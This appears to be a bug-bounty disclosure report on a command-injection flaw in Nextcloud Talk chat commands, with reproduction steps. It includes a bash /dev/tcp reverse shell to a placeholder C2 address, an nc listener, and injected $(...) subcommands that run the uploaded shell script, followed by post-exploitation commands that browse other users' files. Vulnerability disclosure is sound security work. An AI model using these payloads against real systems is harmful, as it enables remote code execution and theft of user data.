314 Code injection possible with malformed Nextcloud Talk chat commands

Share:

SUMMARY BY COVERT-SPECTRE

The Nextcloud Talk app allows system administrators to setup chat commands that can be executed in Talk using the "/command" syntax. Users can provide additional arguments to the commands, such as "/calc 1+1" or "/wiki Hello", which are passed to the underlying script using @exec. If arguments are accepted, it is possible to trigger arbitrary code by wrapping the code in bash subcommand syntax /wiki test $(mycommand). This allows for arbitrary code execution, which an actor can use to spawn a reverse shell back from the remote machine.

TIMELINE

covert-spectre submitted a report to Nextcloud. Apr 16th (3 years ago)

Summary

The Nextcloud Talk app allows system administrators to setup chat commands that can be executed in Talk using the "/command" syntax. Users can provide additional arguments to the commands, such as "/calc 1+1" or "/wiki Hello", which are passed to the underlying script using `@exec`. If arguments are accepted, it is possible to trigger arbitrary code by wrapping the code in bash subcommand syntax `/wiki test $(mycommand)`. This allows for arbitrary code execution, which an actor can use to spawn a reverse shell back from the remote machine.

Links

- https://nextcloud-talk.readthedocs.io/en/latest/commands/#chat-commands
- https://github.com/nextcloud/spreed/issues/1566
- https://github.com/nextcloud/spreed/blob/384f39ded1dceab58491555744bd5326f8ff1e3f/lib/Chat/Command/ShellExecutor.php#L103

Severity

This bug has been filed with a severity of `Critical` inline with the bounty impact/definition chart and the Nextcloud Threat Model as the bug allows both remote code execution via a non-admin user as well as access of complete user data of any other user.

Affected Versions

All versions that support Talk Commands appear to be affected as the bug is in the `@execute` command.
The following version were tested:

- master-2020-04-15 via `snap install nextcloud --edge`, `occ.status versionstring: 19.0.0 beta 2`
- 17.0.5snap1 via `snap install nextcloud`, `occ.status versionstring: 17.0.5`

Repro Steps

1. Install and Setup Nextcloud
    1. create Ubuntu 18.04 VM
    2. install Nextcloud Server (Nextcloud Hub snap used for this test `snap install nextcloud --edge`)
    3. run install command: `nextcloud.manual-install "admin" "password"`
    4. generate self signed certificate `nextcloud.enable-https self-signed`
    5. set trusted domains `nextcloud.occ config:system:set trusted_domains 1 --value=<domain/ip>`
    6. create user `alice`
    7. install and enable spreed/talk app
    8. enable sample talk commands `nextcloud.occ talk:command:add-samples`
    9. add calculator command as described in the documentation here
2. Setup C2 VM
    1. kali used for this test, can be any host with netcat `nc`
    2. run nc listener `nc -l -p 8888`
3. Create Shell Script > shell.sh

> This script can be anything that gets executed and returns a shell
> In this case, a simple reverse shell is initiated using bash interactive piping to /dev/tcp
> A php web shell, meterpreter binary or any other executable could be uploaded here

Code 44 Bytes — Wrap lines Copy Download

```
bash -i >& /dev/tcp/<c2-ip-here>/8888 0>&1 &
```

4. Log In As Alice and Upload File
    1. upload above shell.sh to root directory of alice's Nexcloud files
5. With Alice, start a Talk Conversation
6. Test Exploitability:

> Note, all commands appear to get successfully executed, however whether output is shown depends on the implementation of the backing script. For example, /wiki cannot show the results of `cat /etc/passwd` because the multiline output breaks the wiki script, but the calculator sample can show the output because it has an echo command in the scrpt.

Code 112 Bytes — Wrap lines Copy Download

```
/wiki test $(id)
/wiki test $(pwd)
/wiki test $(ls -al .)
```

1. Locate uploaded shell script
    1. For nextcloud snap, the data directory is defined here
    2. File locations are fixed, therefore, once the root directory is known, it is easy to derive the location of the script
    3. Can use `/calc test $(ls ../)` to explore directory structure
2. Enable execution of the script
3. Execute the script

Code 167 Bytes — Wrap lines Copy Download

```
/wiki test $(chmod +x /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh)
/wiki test $(bash /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh)
```

8. Observer C2 Listener for Connection
9. Run Commands via C2

Code 82 Bytes — Wrap lines Copy Download

```
id
pwd
cd /var/snap/nextcloud/common/nextcloud/data/admin/files
ls -al
occ status
```

Attachments

See attached screenshots

Impact

- Complete access to all user files
- Shell access to occ
- Shell access to host machine - root access if Nextcloud is running as root

5 attachments:
F791692: 2._alice-files.png
F791693: 1._install.png
F791694: 3._output-ls.png
F791695: 4._output-passwd.png
F791696: 5._reverse-shell.png